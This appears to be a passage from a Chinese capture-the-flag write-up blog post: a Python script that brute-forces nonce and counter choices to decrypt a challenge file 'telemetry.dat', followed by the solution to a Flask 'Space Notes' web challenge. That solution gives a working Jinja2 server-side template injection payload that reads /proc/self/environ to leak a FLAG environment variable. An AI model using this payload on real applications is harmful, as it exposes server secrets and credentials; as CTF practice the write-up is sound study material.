print(f"\n=== Step 3: Key Derivation (A's formula) ===")
print(f"KDF: {key_str}")
print(f"Key: {key.hex()}")

# ==================== Step 4: Decrypt telemetry.dat ====================
print("\n=== Step 4: Decrypt telemetry.dat ===")
ct_full = open('telemetry.dat', 'rb').read()
print(f"telemetry.dat total size: {len(ct_full)} bytes")
print(f"Header: {ct_full[:16]}")
print(f"Header text: {ct_full[:16].decode('ascii', errors='replace')}")

# Strip header "ZGTELv2\nZGRMOON2" (16 bytes)
ct = ct_full[16:]
print(f"Ciphertext size: {len(ct)} bytes")

def xor_sha256_ctr(ct, key, nonce, ctr_sz=4, ctr_fmt='>I'):
    result = bytearray()
    cnt = 0
    pos = 0
    while pos < len(ct):
        cb = struct.pack(ctr_fmt, cnt)
        ks = hashlib.sha256(key + nonce + cb).digest()
        chunk = ct[pos:pos+32]
        for i, b in enumerate(chunk):
            result.append(b ^ ks[i])
        pos += 32
        cnt += 1
    return bytes(result)

# Gnaw: "let moonlight open the telemetry frame"
# ZGRMOON2 in header - MOON2 is the cipher variant

found = False

# Try all nonce & counter combinations
for nonce_src in ['moonlight', '', 'ZGRMOON2', 'ZeroG', 'lunar-1701', 'moon', 'MOON', 'Moon']:
    nonce = nonce_src.encode()
    for ctr_sz, fmt in [(4, '>I'), (8, '>Q'), (4, '<I'), (8, '<Q')]:
        dec = xor_sha256_ctr(ct, key, nonce, ctr_sz, fmt)
        
        # Try zlib
        try:
            plain = zlib.decompress(dec)
            txt = plain.decode('utf-8', errors='replace')
            if 'flag' in txt.lower() or 'Pwnstars' in txt or 'synt{' in txt or 'ZeroG' in txt:
                print(f"\n>>> ZLIB FOUND! nonce='{nonce_src}' ctr={ctr_sz}B {fmt}")
                print(txt)
                found = True
                break
        except:
            pass
        
        # Try raw text
        try:
            txt = dec.decode('utf-8', errors='replace')
            if txt[:4] == '====':
                print(f"\n>>> RAW FOUND! nonce='{nonce_src}' ctr={ctr_sz}B {fmt}")
                print(txt)
                found = True
                break
        except:
            pass
    if found:
        break

# ---- Other approaches ----
if not found:
    print("\n=== Trying alternative approaches ===")
    
    # moonlight as XOR before CTR
    ml = hashlib.sha256(b'moonlight').digest()
    xored = bytearray()
    for i, b in enumerate(ct):
        xored.append(b ^ ml[i % 32])
    
    for nonce_src in ['', 'moonlight', 'ZGRMOON2']:
        no = nonce_src.encode()
        for fmt in ['>I', '>Q']:
            dec = xor_sha256_ctr(bytes(xored), key, no, 4, fmt)
            try:
                plain = zlib.decompress(dec)
                txt = plain.decode()
                print(f"2pass XOR(moonlight)+CTR nonce='{nonce_src}' {fmt}: {txt[:200]}")
                found = True
            except:
                pass
    
    # Direct XOR with key (no CTR)
    result = bytearray()
    for i, b in enumerate(ct):
        result.append(b ^ key[i % 32])
    dec = bytes(result)
    try:
        plain = zlib.decompress(dec)
        txt = plain.decode()
        print(f"Direct XOR key: {txt[:200]}")
        found = True
    except:
        pass
    
    # moonlight as direct XOR key  
    result = bytearray()
    for i, b in enumerate(ct):
        result.append(b ^ b'moonlight'[i % 9])
    dec = bytes(result)
    try:
        plain = zlib.decompress(dec)
        txt = plain.decode()
        print(f"Direct XOR 'moonlight': {txt[:200]}")
        found = True
    except:
        pass
    
    # Try AES
    from Crypto.Cipher import AES
    from Crypto.Util import Counter as AESCounter
    
    pad16 = lambda s: (s.encode() + b'\x00' * 16)[:16]
    
    for nonce_src in ['moonlight', 'ZGRMOON2', '']:
        n = pad16(nonce_src)
        try:
            ctr = AESCounter.new(128, initial_value=int.from_bytes(n, 'big'))
            cipher = AES.new(key, AES.MODE_CTR, counter=ctr)
            dec = cipher.decrypt(ct)
            try:
                plain = zlib.decompress(dec)
                txt = plain.decode()
                print(f"AES-CTR zlib nonce='{nonce_src}': {txt[:200]}")
                found = True
            except:
                pass
        except:
            pass
    
    # Try with full file (including header)
    for nonce_src in ['moonlight', 'ZGRMOON2']:
        no = nonce_src.encode()
        dec = xor_sha256_ctr(ct_full, key, no, 4, '>I')
        try:
            plain = zlib.decompress(dec)
            txt = plain.decode()
            print(f"FULL FILE ZLIB nonce='{nonce_src}': {txt[:200]}")
            found = True
        except:
            pass

if not found:
    print("Still not found! Dumping candidate outputs:")
    for nonce_src in ['moonlight', 'ZGRMOON2', '']:
        no = nonce_src.encode()
        for fmt in ['>I', '>Q']:
            dec = xor_sha256_ctr(ct, key, no, 4, fmt)
            print(f"\nnonce='{nonce_src}' {fmt}:")
            print(f"  hex[0:64]={dec[:64].hex()}")
            print(f"  raw[0:64]={repr(dec[:64])}")

 

Web

Web_01.Space Notes / 星际便签

题目描述:

ZeroG 空间站内部有一个轻量级便签系统,用来记录轨道修正、实验安排和临时消息。

工程师说这个系统只提供:

  • 登录
  • 写便签
  • 预览便签
  • 管理员面板

看起来只是一个普通 Flask 小应用。 但 Fen 留下了一句很奇怪的话: “如果模板会说话,那它也许会泄露秘密。”

请拿到管理员权限,读取动态 flag。

预览功能会把用户输入当作模板渲染。

Flask/Jinja2 模板上下文里可能有你想要的配置项。

解题:

有一个快的思路使用 SSTI 直接读取环境变量或文件,因为 flag 可能在环境变量 FLAG

读取环境变量

{{ get_flashed_messages.__globals__.__builtins__.open("/proc/self/environ").read() }}

 


image

 

 

posted @ 2026-05-23 23:21  Cayan  阅读(96)  评论(0)    收藏  举报